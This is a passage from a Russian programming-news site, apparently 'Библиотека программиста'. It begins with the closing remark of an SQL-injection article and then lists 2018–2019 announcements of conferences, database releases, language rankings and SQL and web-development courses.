Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.

Поделитесь в комментариях, каким стеком пользуетесь и как защищаете свой проект?

06
Ноя
2019

Трансляция HighLoad++ 2019

В программе: архитектура и эксплуатация проектов, базы данных и системы хранения, системное администрирование, нагрузочное тестирование и не только.
— Читать дальше «Трансляция HighLoad++ 2019»

25
Окт
2019

7–8 ноября, Сколково: конференция HighLoad++ 2019

Мероприятие направлено на обмен знаниями о технологиях, позволяющих одновременно обслуживать многие тысячи и миллионы пользователей.
— Читать дальше «Конференция HighLoad++ 2019»

09
Сен
2019

Онлайн-курс «CS50’s Web Programming with Python and JavaScript»

Научитесь полному циклу веб-разработки на Python и JavaScript. В программе изучение современных инструментов и много самостоятельной работы.
— Читать дальше «Курс «CS50’s Web Programming with Python and JavaScript»»

25
Июн
2019

11–12 июля, Санкт-Петербург: конференция Hydra 2019

Конференция о современных параллельных и распределённых системах, а также о научных подходах и теоремах, лежащих в их основе.
— Читать дальше «Конференция Hydra 2019»

05
Апр
2019

Конференция SECON’2019

На конференции узнаете последние тренды и новости из мира IT, пообщаетесь со специалистами и посоревнуетесь с другими гостями в логическом мышлении.
— Читать дальше «Конференция SECON’2019»

26
Ноя
2018

Database Meetup

6 декабря в Омске пройдёт встреча администраторов и разработчиков баз данных Database Meetup. Кого ждут? Всех, кто работает с Java и PL/SQL для управления СУБД, а также администраторов других продуктов Oracle. Что в программе? Разговор пойдёт об оптими…

20
Ноя
2018

Выпущена СУБД FoundationDB 6.0.15

Apple представила релиз 6.0.15 кроссплатформенной открытой распределённой СУБД FoundationDB для обработки крупных наборов структурированных данных. Это первый стабильный релиз шестой ветки СУБД. FoundationDB относится к классу NoSQL-систем, манипулирую…

09
Ноя
2018

Ноябрьский рейтинг PYPL: языки программирования, базы данных, IDE

Опубликован рейтинг PYPL (PopularitY of Programming Language) за ноябрь 2018 года. Для расчёта индекса популярности в PYPL используется статистика поисковых запросов. Данные для расчёта берутся из Google Trends. Языки программирования Рейтинг отражает …

01
Ноя
2018

Курс «Специалист по web-разработке»

Начался новый набор на курс «Специалист по web-разработке» от израильской высшей школы IT и безопасности HackerU. Студентов научат современному стеку фронт- и бэкенда веб-приложений. Кому подойдёт? Как новичкам, так и действующим разработчикам, желающи…

30
Июн
2018

Практика по MS SQL. Получаем базовые знания и не только

Нередко в проектах встречается использование реляционной СУБД от Microsoft. Практика по MS SQL поможет быстро включиться в работу.

Данная практика по MS SQL рассчитана на специалистов, которые уже овладели теоретическими знаниями и навыками языка SQL и расширением Transact-SQL от Microsoft.

По итогам курса вы научитесь создавать БД для интернет-магазина с минимальным функционалом.

16
Июн
2018

SQL-программирование: наиболее полный видеокурс

SQL-программирование: наиболее полный видеокурсSQL-программирование относится к той предметной области, которую можно изучить только на практике, и данный курс поможет вам в этом. Введение Это первый ролик курса, являющийся вступительной речью. Автор начинает с базовых понятий: таблица, база данных, для чего все это нужно, где используется и т. д. Изложение материала происходит на понятном языке с использованием информативных слайдов. […]

Запись SQL-программирование: наиболее полный видеокурс впервые появилась Библиотека программиста.